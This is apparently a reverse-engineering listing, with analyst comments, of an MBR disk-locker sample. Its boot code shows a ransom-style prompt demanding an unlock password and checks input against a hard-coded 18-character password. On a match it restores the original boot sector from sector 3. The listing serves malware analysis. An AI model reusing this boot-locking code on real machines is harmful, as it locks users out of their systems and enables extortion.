某样本中提取
; =============== S U B R O U T I N E =======================================
start_7C03 proc far ; CODE XREF: j_start_7C03↑j
; start_7C03+B8↓j
mov ax, cs
mov ds, ax
mov ss, ax
mov es, ax
mov sp, 100h
mov bp, 7CEDh ; Your disk have a lock!!!Please enter the unlock password
mov bx, 7CEDh
call strlen_C7
mov cx, ax ; get note'lens to cx
mov ax, 1301h
mov bx, 0Ch
mov dl, 0
int 10h ; - VIDEO - WRITE STRING (AT,XT286,PS,EGA,VGA)
; AL = mode, BL = attribute if AL bit 1 clear, BH = display page number
; DH,DL = row,column of starting cursor position, CX = length of string
; ES:BP -> start of string
mov ax, 0B800h
add ax, 0A0h
mov ds, ax
assume ds:nothing
xor cx, cx
xor bx, bx
getchar_7C2F: ; CODE XREF: start_7C03+44↓j
; start_7C03+50↓j
xor ax, ax
int 16h ; KEYBOARD - READ CHAR FROM BUFFER, WAIT IF EMPTY
; Return: AH = scan code, AL = character
cmp al, 8 ; backspace
jz short PressBackspace
cmp al, 0Dh ; enter
jz short CheckPassword
mov ah, 2
mov [bx], al
mov [bx+1], ah
add bx, 2
inc cx
jmp getchar_7C2F
; ---------------------------------------------------------------------------
PressBackspace: ; CODE XREF: start_7C03+32↑j
sub bx, 2
dec cx
xor ax, ax
mov [bx], ax
jmp getchar_7C2F
; ---------------------------------------------------------------------------
CheckPassword: ; CODE XREF: start_7C03+36↑j
mov ax, cs
mov es, ax
xor bx, bx
mov si, 7CDAh ; AAAAAAAAAAAAAAAAAA
mov cl, cs:pswd_len_7CD9
mov ch, 0
strcmp_7C66: ; CODE XREF: start_7C03+72↓j
db 3Eh
mov al, [bx]
mov ah, es:[si] ; get input char==>al
; si==>correct passwd==>"AAAAAAAAAAAAAAAAAA"
cmp al, ah
jnz short NotMatch
add bx, 2
inc si
loop strcmp_7C66
xor ax, ax
mov ax, 7E00h
mov es, ax
assume es:nothing
xor bx, bx
mov ah, 2 ; read
mov dl, 80h
mov al, 1 ; number of sectors to read
mov dh, 0
mov ch, 0
mov cl, 3 ; sector==>to read
int 13h ; DISK - READ SECTORS INTO MEMORY
; AL = number of sectors to read, CH = track, CL = sector
; DH = head, DL = drive, ES:BX -> buffer to fill
; Return: CF set on error, AH = status, AL = number of sectors read
xor bx, bx
mov dl, 80h
mov ah, 3 ; write
mov al, 1
mov dh, 0
mov ch, 0
mov cl, 1 ; sector==>to write
int 13h ; DISK - WRITE SECTORS FROM MEMORY
; AL = number of sectors to write, CH = track, CL = sector
; DH = head, DL = drive, ES:BX -> buffer
; Return: CF set on error, AH = status, AL = number of sectors written
jmp end_7CBE
; ---------------------------------------------------------------------------
NotMatch: ; CODE XREF: start_7C03+6B↑j
mov bx, 0B800h
add bx, 38h ; '8'
mov al, 58h ; 'X'
mov [bx], al
mov cx, word ptr cs:pswd_len_7CD9
xor ax, ax
loc_7CB3: ; CODE XREF: start_7C03+B6↓j
mov [bx], ax
add bx, 2
loop loc_7CB3
jmp near ptr start_7C03
; ---------------------------------------------------------------------------
end_7CBE: ; CODE XREF: start_7C03+9B↑j
mov ax, 0FFFFh
push ax
mov ax, 0
push ax
retf
start_7C03 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
strlen_C7 proc near ; CODE XREF: start_7C03+11↑p
push cx
push bx
loop_7CC9: ; CODE XREF: strlen_C7+C↓j
db 3Eh ; Your disk have a lock!!!Please enter the unlock password
mov cl, [bx]
cmp cl, 0
jz short ret_7CD6
inc bx
inc ax
jmp loop_7CC9 ; Your disk have a lock!!!Please enter the unlock password
; ---------------------------------------------------------------------------
ret_7CD6: ; CODE XREF: strlen_C7+8↑j
pop cx
pop bx
retn
strlen_C7 endp
; ---------------------------------------------------------------------------
pswd_len_7CD9 db 12h ; DATA XREF: start_7C03+5C↑r
; start_7C03+A9↑r
aAaaaaaaaaaaaaa db 'AAAAAAAAAAAAAAAAAA',0
aYourDiskHaveAL db 'Your disk have a lock!!!Please enter the unlock password',0
db 0D8h dup(0), 55h, 0AAh
seg000 ends
end